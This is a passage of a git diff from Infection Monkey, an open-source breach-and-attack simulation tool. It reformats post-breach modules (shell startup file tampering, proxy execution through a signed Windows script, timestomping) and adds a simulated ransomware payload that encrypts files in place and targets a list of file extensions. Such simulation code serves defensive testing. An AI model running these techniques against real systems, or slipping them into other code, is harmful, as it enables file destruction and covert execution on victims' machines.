+ return "", [], []
HOME_DIR = "/home/"
# get list of usernames
- USERS = subprocess.check_output( # noqa: DUO116
- "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1",
- shell=True
- ).decode().split('\n')[:-1]
+ USERS = (
+ subprocess.check_output( # noqa: DUO116
+ "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True
+ )
+ .decode()
+ .split("\n")[:-1]
+ )
# get list of paths of different shell startup files with place for username
STARTUP_FILES = [
- file_path.format(HOME_DIR) for file_path in
- [
- "{0}{{0}}/.profile", # bash, dash, ksh, sh
- "{0}{{0}}/.bashrc", # bash
+ file_path.format(HOME_DIR)
+ for file_path in [
+ "{0}{{0}}/.profile", # bash, dash, ksh, sh
+ "{0}{{0}}/.bashrc", # bash
"{0}{{0}}/.bash_profile",
- "{0}{{0}}/.config/fish/config.fish", # fish
- "{0}{{0}}/.zshrc", # zsh
+ "{0}{{0}}/.config/fish/config.fish", # fish
+ "{0}{{0}}/.zshrc", # zsh
"{0}{{0}}/.zshenv",
"{0}{{0}}/.zprofile",
- "{0}{{0}}/.kshrc", # ksh
- "{0}{{0}}/.tcshrc", # tcsh
- "{0}{{0}}/.cshrc", # csh
+ "{0}{{0}}/.kshrc", # ksh
+ "{0}{{0}}/.tcshrc", # tcsh
+ "{0}{{0}}/.cshrc", # csh
]
]
- return [
- '3<{0} 3<&- &&', # check for existence of file
- 'echo \"# Succesfully modified {0}\" |',
- 'tee -a {0} &&', # append to file
- 'sed -i \'$d\' {0}', # remove last line of file (undo changes)
- ], STARTUP_FILES, USERS
+ return (
+ [
+ "3<{0} 3<&- &&", # check for existence of file
+ 'echo "# Succesfully modified {0}" |',
+ "tee -a {0} &&", # append to file
+ "sed -i '$d' {0}", # remove last line of file (undo changes)
+ ],
+ STARTUP_FILES,
+ USERS,
+ )
diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py
index 65774c2ad..604d7c198 100644
--- a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py
+++ b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py
@@ -1,7 +1,9 @@
-from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import \
- get_linux_commands_to_modify_shell_startup_files
-from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import \
- get_windows_commands_to_modify_shell_startup_files
+from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( # noqa: E501
+ get_linux_commands_to_modify_shell_startup_files,
+)
+from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( # noqa: E501
+ get_windows_commands_to_modify_shell_startup_files,
+)
def get_commands_to_modify_shell_startup_files():
diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py
index a4d32938e..62fd9425e 100644
--- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py
+++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py
@@ -5,23 +5,30 @@ from infection_monkey.utils.environment import is_windows_os
def get_windows_commands_to_modify_shell_startup_files():
if not is_windows_os():
- return '', []
+ return "", []
# get powershell startup file path
- SHELL_STARTUP_FILE = subprocess.check_output('powershell $Profile').decode().split("\r\n")[0]
+ SHELL_STARTUP_FILE = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0]
SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\")
# get list of usernames
- USERS = subprocess.check_output('dir C:\\Users /b', shell=True).decode().split("\r\n")[:-1] # noqa: DUO116
+ USERS = (
+ subprocess.check_output("dir C:\\Users /b", shell=True) # noqa: DUO116
+ .decode()
+ .split("\r\n")[:-1]
+ )
USERS.remove("Public")
- STARTUP_FILES_PER_USER = ['\\'.join(SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] +
- [user] +
- SHELL_STARTUP_FILE_PATH_COMPONENTS[3:])
- for user in USERS]
+ STARTUP_FILES_PER_USER = [
+ "\\".join(
+ SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]
+ )
+ for user in USERS
+ ]
return [
- 'powershell.exe',
- 'infection_monkey/post_breach/shell_startup_files/windows/modify_powershell_startup_file.ps1',
- '-startup_file_path {0}'
+ "powershell.exe",
+ "infection_monkey/post_breach/shell_startup_files/windows"
+ "/modify_powershell_startup_file.ps1",
+ "-startup_file_path {0}",
], STARTUP_FILES_PER_USER
diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py
index 5db88cfc4..12343d8cf 100644
--- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py
+++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py
@@ -1,8 +1,10 @@
import subprocess
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
- get_windows_commands_to_delete_temp_comspec, get_windows_commands_to_proxy_execution_using_signed_script,
- get_windows_commands_to_reset_comspec)
+ get_windows_commands_to_delete_temp_comspec,
+ get_windows_commands_to_proxy_execution_using_signed_script,
+ get_windows_commands_to_reset_comspec,
+)
from infection_monkey.utils.environment import is_windows_os
@@ -13,5 +15,7 @@ def get_commands_to_proxy_execution_using_signed_script():
def cleanup_changes(original_comspec):
if is_windows_os():
- subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116
+ subprocess.run( # noqa: DUO116
+ get_windows_commands_to_reset_comspec(original_comspec), shell=True
+ )
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116
diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py
index 6cdf5fe01..0431dd83d 100644
--- a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py
+++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py
@@ -2,27 +2,24 @@ import os
from infection_monkey.control import ControlClient
-TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe')
+TEMP_COMSPEC = os.path.join(os.getcwd(), "T1216_random_executable.exe")
def get_windows_commands_to_proxy_execution_using_signed_script():
download = ControlClient.get_T1216_pba_file()
- with open(TEMP_COMSPEC, 'wb') as random_exe_obj:
+ with open(TEMP_COMSPEC, "wb") as random_exe_obj:
random_exe_obj.write(download.content)
random_exe_obj.flush()
- windir_path = os.environ['WINDIR']
- signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf')
+ windir_path = os.environ["WINDIR"]
+ signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf")
- return [
- f'set comspec={TEMP_COMSPEC} &&',
- f'cscript {signed_script}'
- ]
+ return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"]
def get_windows_commands_to_reset_comspec(original_comspec):
- return f'set comspec={original_comspec}'
+ return f"set comspec={original_comspec}"
def get_windows_commands_to_delete_temp_comspec():
- return f'del {TEMP_COMSPEC} /f'
+ return f"del {TEMP_COMSPEC} /f"
diff --git a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
index ee6c02f58..07841d280 100644
--- a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
+++ b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py
@@ -1,14 +1,15 @@
-TEMP_FILE = 'monkey-timestomping-file.txt'
-TIMESTAMP_EPOCH = '197001010000.00'
+TEMP_FILE = "monkey-timestomping-file.txt"
+TIMESTAMP_EPOCH = "197001010000.00"
def get_linux_timestomping_commands():
return [
f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && '
- f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && '
- f'cat {TEMP_FILE} ; '
- f'rm {TEMP_FILE} -f'
+ f"touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && "
+ f"cat {TEMP_FILE} ; "
+ f"rm {TEMP_FILE} -f"
]
-# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
+# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
+# /T1070.006.md
diff --git a/monkey/infection_monkey/post_breach/timestomping/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/timestomping.py
index 321904c41..5e71d1e50 100644
--- a/monkey/infection_monkey/post_breach/timestomping/timestomping.py
+++ b/monkey/infection_monkey/post_breach/timestomping/timestomping.py
@@ -1,5 +1,9 @@
-from infection_monkey.post_breach.timestomping.linux.timestomping import get_linux_timestomping_commands
-from infection_monkey.post_breach.timestomping.windows.timestomping import get_windows_timestomping_commands
+from infection_monkey.post_breach.timestomping.linux.timestomping import (
+ get_linux_timestomping_commands,
+)
+from infection_monkey.post_breach.timestomping.windows.timestomping import (
+ get_windows_timestomping_commands,
+)
def get_timestomping_commands():
diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
index 9f23193f7..dbea6aaea 100644
--- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
+++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py
@@ -1,8 +1,9 @@
-TEMP_FILE = 'monkey-timestomping-file.txt'
+TEMP_FILE = "monkey-timestomping-file.txt"
def get_windows_timestomping_commands():
- return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1'
+ return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1"
-# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
+# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006
+# /T1070.006.md
diff --git a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py
index 8a251e258..75d545140 100644
--- a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py
+++ b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py
@@ -1,5 +1,6 @@
def get_linux_trap_commands():
return [
- 'trap \'echo \"Successfully used trap command\"\' INT && kill -2 $$ ;', # trap and send SIGINT signal
- 'trap - INT' # untrap SIGINT
+ # trap and send SIGINT signal
+ "trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;",
+ "trap - INT", # untrap SIGINT
]
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py
index 2bfb21972..245f7574b 100644
--- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py
@@ -1,4 +1,4 @@
from PyInstaller.utils.hooks import collect_data_files, collect_submodules
-hiddenimports = collect_submodules('infection_monkey.exploit')
-datas = (collect_data_files('infection_monkey.exploit', include_py_files=True))
+hiddenimports = collect_submodules("infection_monkey.exploit")
+datas = collect_data_files("infection_monkey.exploit", include_py_files=True)
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py
index e80038ebd..07a29b086 100644
--- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py
@@ -1,4 +1,4 @@
from PyInstaller.utils.hooks import collect_data_files, collect_submodules
-hiddenimports = collect_submodules('infection_monkey.network')
-datas = (collect_data_files('infection_monkey.network', include_py_files=True))
+hiddenimports = collect_submodules("infection_monkey.network")
+datas = collect_data_files("infection_monkey.network", include_py_files=True)
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
index 55dc7c8c9..9f83c775d 100644
--- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
@@ -1,6 +1,6 @@
from PyInstaller.utils.hooks import collect_data_files, collect_submodules
# Import all actions as modules
-hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
+hiddenimports = collect_submodules("infection_monkey.post_breach.actions")
# Add action files that we enumerate
-datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))
+datas = collect_data_files("infection_monkey.post_breach.actions", include_py_files=True)
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py
new file mode 100644
index 000000000..4cedd58e7
--- /dev/null
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py
@@ -0,0 +1,3 @@
+from PyInstaller.utils.hooks import collect_data_files
+
+datas = collect_data_files("infection_monkey.ransomware")
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py
index 10fe02a17..22d2740bb 100644
--- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py
@@ -1,6 +1,6 @@
from PyInstaller.utils.hooks import collect_data_files, collect_submodules
# Import all actions as modules
-hiddenimports = collect_submodules('infection_monkey.system_info.collectors')
+hiddenimports = collect_submodules("infection_monkey.system_info.collectors")
# Add action files that we enumerate
-datas = (collect_data_files('infection_monkey.system_info.collectors', include_py_files=True))
+datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True)
diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py
index 3e2bed17e..60a097ab0 100644
--- a/monkey/infection_monkey/pyinstaller_utils.py
+++ b/monkey/infection_monkey/pyinstaller_utils.py
@@ -1,15 +1,14 @@
import os
import sys
-__author__ = 'itay.mizeretz'
-
def get_binaries_dir_path():
"""
- Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
+ Gets the path to the binaries dir (files packaged in pyinstaller if it was used,
+ infection_monkey dir otherwise)
:return: Binaries dir path
"""
- if getattr(sys, 'frozen', False):
+ if getattr(sys, "frozen", False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/infection_monkey/ransomware/__init__.py
similarity index 100%
rename from monkey/infection_monkey/utils/plugins/pluginTests/__init__.py
rename to monkey/infection_monkey/ransomware/__init__.py
diff --git a/monkey/infection_monkey/ransomware/consts.py b/monkey/infection_monkey/ransomware/consts.py
new file mode 100644
index 000000000..4010c01da
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/consts.py
@@ -0,0 +1,5 @@
+from pathlib import Path
+
+README_SRC = Path(__file__).parent / "ransomware_readme.txt"
+README_FILE_NAME = "README.txt"
+README_SHA256_HASH = "a5608df1d9dbdbb489838f9aaa33b06b6cd8702799ff843b4b1704519541e674"
diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py
new file mode 100644
index 000000000..33b73dd06
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/file_selectors.py
@@ -0,0 +1,35 @@
+from pathlib import Path
+from typing import List, Set
+
+from common.utils.file_utils import get_file_sha256_hash
+from infection_monkey.ransomware.consts import README_FILE_NAME, README_SHA256_HASH
+from infection_monkey.utils.dir_utils import (
+ file_extension_filter,
+ filter_files,
+ get_all_regular_files_in_directory,
+ is_not_shortcut_filter,
+ is_not_symlink_filter,
+)
+
+
+class ProductionSafeTargetFileSelector:
+ def __init__(self, targeted_file_extensions: Set[str]):
+ self._targeted_file_extensions = targeted_file_extensions
+
+ def __call__(self, target_dir: Path) -> List[Path]:
+ file_filters = [
+ file_extension_filter(self._targeted_file_extensions),
+ is_not_shortcut_filter,
+ is_not_symlink_filter,
+ _is_not_ransomware_readme_filter,
+ ]
+
+ all_files = get_all_regular_files_in_directory(target_dir)
+ return filter_files(all_files, file_filters)
+
+
+def _is_not_ransomware_readme_filter(filepath: Path) -> bool:
+ if filepath.name != README_FILE_NAME:
+ return True
+
+ return get_file_sha256_hash(filepath) != README_SHA256_HASH
diff --git a/monkey/infection_monkey/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py
new file mode 100644
index 000000000..f4bcaf3aa
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py
@@ -0,0 +1,44 @@
+import re
+from pathlib import Path
+from typing import Callable
+
+FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$")
+
+
+class InPlaceFileEncryptor:
+ def __init__(
+ self,
+ encrypt_bytes: Callable[[bytes], bytes],
+ new_file_extension: str = "",
+ chunk_size: int = 64,
+ ):
+ self._encrypt_bytes = encrypt_bytes
+ self._chunk_size = chunk_size
+
+ if new_file_extension and not FILE_EXTENSION_REGEX.match(new_file_extension):
+ raise ValueError(f'"{new_file_extension}" is not a valid file extension.')
+
+ self._new_file_extension = new_file_extension
+
+ def __call__(self, filepath: Path):
+ self._encrypt_file(filepath)
+
+ if self._new_file_extension:
+ self._add_extension(filepath)
+
+ def _encrypt_file(self, filepath: Path):
+ with open(filepath, "rb+") as f:
+ data = f.read(self._chunk_size)
+ while data:
+ num_bytes_read = len(data)
+
+ encrypted_data = self._encrypt_bytes(data)
+
+ f.seek(-num_bytes_read, 1)
+ f.write(encrypted_data)
+
+ data = f.read(self._chunk_size)
+
+ def _add_extension(self, filepath: Path):
+ new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
+ filepath.rename(new_filepath)
diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py
new file mode 100644
index 000000000..e1b1cb2c4
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/ransomware_config.py
@@ -0,0 +1,27 @@
+import logging
+
+from common.utils.file_utils import InvalidPath, expand_path
+from infection_monkey.utils.environment import is_windows_os
+
+LOG = logging.getLogger(__name__)
+
+
+class RansomwareConfig:
+ def __init__(self, config: dict):
+ self.encryption_enabled = config["encryption"]["enabled"]
+ self.readme_enabled = config["other_behaviors"]["readme"]
+
+ self.target_directory = None
+ self._set_target_directory(config["encryption"]["directories"])
+
+ def _set_target_directory(self, os_target_directories: dict):
+ if is_windows_os():
+ target_directory = os_target_directories["windows_target_dir"]
+ else:
+ target_directory = os_target_directories["linux_target_dir"]
+
+ try:
+ self.target_directory = expand_path(target_directory)
+ except InvalidPath as e:
+ LOG.debug(f"Target ransomware directory set to None: {e}")
+ self.target_directory = None
diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py
new file mode 100644
index 000000000..3c8b36770
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/ransomware_payload.py
@@ -0,0 +1,60 @@
+import logging
+from pathlib import Path
+from typing import Callable, List
+
+from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC
+from infection_monkey.ransomware.ransomware_config import RansomwareConfig
+from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem
+from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
+
+LOG = logging.getLogger(__name__)
+
+
+class RansomwarePayload:
+ def __init__(
+ self,
+ config: RansomwareConfig,
+ encrypt_file: Callable[[Path], None],
+ select_files: Callable[[Path], List[Path]],
+ leave_readme: Callable[[Path, Path], None],
+ telemetry_messenger: ITelemetryMessenger,
+ ):
+ self._config = config
+
+ self._encrypt_file = encrypt_file
+ self._select_files = select_files
+ self._leave_readme = leave_readme
+ self._telemetry_messenger = telemetry_messenger
+
+ def run_payload(self):
+ if not self._config.target_directory:
+ return
+
+ LOG.info("Running ransomware payload")
+
+ if self._config.encryption_enabled:
+ file_list = self._find_files()
+ self._encrypt_files(file_list)
+
+ if self._config.readme_enabled:
+ self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME)
+
+ def _find_files(self) -> List[Path]:
+ LOG.info(f"Collecting files in {self._config.target_directory}")
+ return sorted(self._select_files(self._config.target_directory))
+
+ def _encrypt_files(self, file_list: List[Path]):
+ LOG.info(f"Encrypting files in {self._config.target_directory}")
+
+ for filepath in file_list:
+ try:
+ LOG.debug(f"Encrypting {filepath}")
+ self._encrypt_file(filepath)
+ self._send_telemetry(filepath, True, "")
+ except Exception as ex:
+ LOG.warning(f"Error encrypting {filepath}: {ex}")
+ self._send_telemetry(filepath, False, str(ex))
+
+ def _send_telemetry(self, filepath: Path, success: bool, error: str):
+ encryption_attempt = FileEncryptionTelem(str(filepath), success, error)
+ self._telemetry_messenger.send_telemetry(encryption_attempt)
diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py
new file mode 100644
index 000000000..8d7e2b129
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py
@@ -0,0 +1,62 @@
+import logging
+from pprint import pformat
+
+from infection_monkey.ransomware import readme_dropper
+from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector
+from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor
+from infection_monkey.ransomware.ransomware_config import RansomwareConfig
+from infection_monkey.ransomware.ransomware_payload import RansomwarePayload
+from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS
+from infection_monkey.telemetry.messengers.batching_telemetry_messenger import (
+ BatchingTelemetryMessenger,
+)
+from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
+ LegacyTelemetryMessengerAdapter,
+)
+from infection_monkey.utils.bit_manipulators import flip_bits
+
+EXTENSION = ".m0nk3y"
+CHUNK_SIZE = 4096 * 24
+
+LOG = logging.getLogger(__name__)
+
+
+def build_ransomware_payload(config: dict):
+ LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}")
+ ransomware_config = RansomwareConfig(config)
+
+ file_encryptor = _build_file_encryptor()
+ file_selector = _build_file_selector()
+ leave_readme = _build_leave_readme()
+ telemetry_messenger = _build_telemetry_messenger()
+
+ return RansomwarePayload(
+ ransomware_config,
+ file_encryptor,
+ file_selector,
+ leave_readme,
+ telemetry_messenger,
+ )
+
+
+def _build_file_encryptor():
+ return InPlaceFileEncryptor(
+ encrypt_bytes=flip_bits, new_file_extension=EXTENSION, chunk_size=CHUNK_SIZE
+ )
+
+
+def _build_file_selector():
+ targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy()
+ targeted_file_extensions.discard(EXTENSION)
+
+ return ProductionSafeTargetFileSelector(targeted_file_extensions)
+
+
+def _build_leave_readme():
+ return readme_dropper.leave_readme
+
+
+def _build_telemetry_messenger():
+ telemetry_messenger = LegacyTelemetryMessengerAdapter()
+
+ return BatchingTelemetryMessenger(telemetry_messenger)
diff --git a/monkey/infection_monkey/ransomware/ransomware_readme.txt b/monkey/infection_monkey/ransomware/ransomware_readme.txt
new file mode 100644
index 000000000..e3131c465
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/ransomware_readme.txt
@@ -0,0 +1,50 @@
+ ██████████ ██ █████ ███████████ ███
+░░███░░░░███ ███ ░░███ ░░███░░░░░███ ░░░
+ ░███ ░░███ ██████ ████████ ░░░ ███████ ░███ ░███ ██████ ████████ ████ ██████
+ ░███ ░███ ███░░███░░███░░███ ░░░███░ ░██████████ ░░░░░███ ░░███░░███ ░░███ ███░░███
+ ░███ ░███░███ ░███ ░███ ░███ ░███ ░███░░░░░░ ███████ ░███ ░███ ░███ ░███ ░░░
+ ░███ ███ ░███ ░███ ░███ ░███ ░███ ███ ░███ ███░░███ ░███ ░███ ░███ ░███ ███
+ ██████████ ░░██████ ████ █████ ░░█████ █████ ░░████████ ████ █████ █████░░██████
+░░░░░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░░
+
+ -yddy-
+ `` yN::Ny ``
+ `ymdmo .hNNh. . omdmy`
+ :Ny:dm. .`-NN- -m .md:yN:
+ :sdNN: :m:+NN+:ymy -` :NNds:
+ +Nmo-/ohNNmNNNNNNNdms-+mN+
+ ``` dNNNNNNNNNNNNNNNNNNNNNNd ```
+ `ymhms `+dNNNNNNNNNNNNNNNNNNNNNNNNd+` smhmy`
+ :Ny:dNh- +mNNNNNNNNNNNNNNNNNNNNNNNNNNNNm+ -hNd:yN:
+ -ossydNmhmNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmhmNdysso-
+ .dNNNNNNNNmhyyhdNNNNNNNNdhyyhmNNNNNNNNh.
+ ./ooodNNNNNms- ..` `/hNNh/` `.. -omNNNNNdooo/.
+ /dNNNNNNNNNNd. :hNNNNms. ++ .smNNNmy: .dNNNNNNNNNNd/
+ yNNmo:-mNNNNm. +NNmyodNNm. .mNNdoymNN+ .mNNNNm-:omNNy
+ /NNN- -NNNNNm hNNy .NNN/ /NNN. yNNh mNNNNN- -NNN/
+ /NNN. :NNNNNN: :mNNdhmNNh` `hNNmhdNNm: :NNNNNN: .NNN/
+ `dNNd/..NNNNNNm/ .ohmmdy/ ```` /ydmmho. /mNNNNNN.`/dNNd`
+ `omNNNmNNNNNNNNh+-` :h::h: `-+hNNNNNNNNmNNNmo`
+ `:oyyymNNNNNNNNNmh+` `+hmNNNNNNNNNmyyyo:`
+ `hNNNNNNNNNs`/yys+/::/+syy/`yNNNNNNNNNh`
+ ./+++ymNmNNNNNNNNd `-://:-` dNNNNNNNNmNmy+++/.
+ -mh+dNd/` `sNNNNNNNo oNNNNNNNs` `/dNd+hm:
+ .ddsmh` -ymNNNNNh- -hNNNNNms- `hmsdd.
+ --. `dNNNNNNds/:--:/sdNNNNNNd` .--
+ :NNs/oydmNNNNNNNNmdyo/sNm:
+ .+hNN/ `.sNNs.` /NNy+.
+ :my/dm. -NN- .md/ym-
+ .ddymy `yNNy` `ymydd.
+ .-. yN//Ny .-.
+ :dmmd:
+
+This is NOT a real ransomware attack.
+
+Infection Monkey is an open-source breach and attack simulation (BAS) platform. The files in this
+directory have been manipulated as part of a ransomware simulation. If you've discovered this file
+and are unsure about how to proceed, please contact your administrator.
+
+For more information about Infection Monkey, see https://www.guardicore.com/infectionmonkey.
+
+For more information about Infection Monkey's ransomware simulation, see
+https://www.guardicore.com/infectionmonkey/docs/reference/ransomware.
diff --git a/monkey/infection_monkey/ransomware/readme_dropper.py b/monkey/infection_monkey/ransomware/readme_dropper.py
new file mode 100644
index 000000000..a3037e76a
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/readme_dropper.py
@@ -0,0 +1,22 @@
+import logging
+import shutil
+from pathlib import Path
+
+LOG = logging.getLogger(__name__)
+
+
+def leave_readme(src: Path, dest: Path):
+ if dest.exists():
+ LOG.warning(f"{dest} already exists, not leaving a new README.txt")
+ return
+
+ _copy_readme_file(src, dest)
+
+
+def _copy_readme_file(src: Path, dest: Path):
+ LOG.info(f"Leaving a ransomware README file at {dest}")
+
+ try:
+ shutil.copyfile(src, dest)
+ except Exception as ex:
+ LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}")
diff --git a/monkey/infection_monkey/ransomware/targeted_file_extensions.py b/monkey/infection_monkey/ransomware/targeted_file_extensions.py
new file mode 100644
index 000000000..6c769ad91
--- /dev/null
+++ b/monkey/infection_monkey/ransomware/targeted_file_extensions.py
@@ -0,0 +1,76 @@
+TARGETED_FILE_EXTENSIONS = {
+ ".3ds",
+ ".7z",
+ ".accdb",
+ ".ai",
+ ".asp",
+ ".aspx",
+ ".avhd",
+ ".avi",
+ ".back",
+ ".bak",
+ ".c",
+ ".cfg",
+ ".conf",
+ ".cpp",
+ ".cs",
+ ".ctl",
+ ".dbf",
+ ".disk",
+ ".djvu",
+ ".doc",
+ ".docx",
+ ".dwg",
+ ".eml",
+ ".fdb",
+ ".giff",
+ ".gz",
+ ".h",
+ ".hdd",
+ ".jpg",
+ ".jpeg",
+ ".kdbx",
+ ".mail",
+ ".mdb",
+ ".mpg",
+ ".mpeg",
+ ".msg",
+ ".nrg",
+ ".ora",
+ ".ost",
+ ".ova",
+ ".ovf",
+ ".pdf",
+ ".php",
+ ".pmf",
+ ".png",
+ ".ppt",
+ ".pptx",
+ ".pst",
+ ".pvi",
+ ".py",
+ ".pyc",
+ ".rar",
+ ".rtf",
+ ".sln",
+ ".sql",
+ ".tar",
+ ".tiff",
+ ".txt",
+ ".vbox",
+ ".vbs",
+ ".vcb",
+ ".vdi",
+ ".vfd",
+ ".vmc",
+ ".vmdk",
+ ".vmsd",
+ ".vmx",
+ ".vsdx",
+ ".vsv",
+ ".work",
+ ".xls",
+ ".xlsx",
+ ".xvd",
+ ".zip",
+}
diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md
index fa192c33e..d52091595 100644
--- a/monkey/infection_monkey/readme.md
+++ b/monkey/infection_monkey/readme.md
@@ -14,16 +14,16 @@ The monkey is composed of three separate parts.
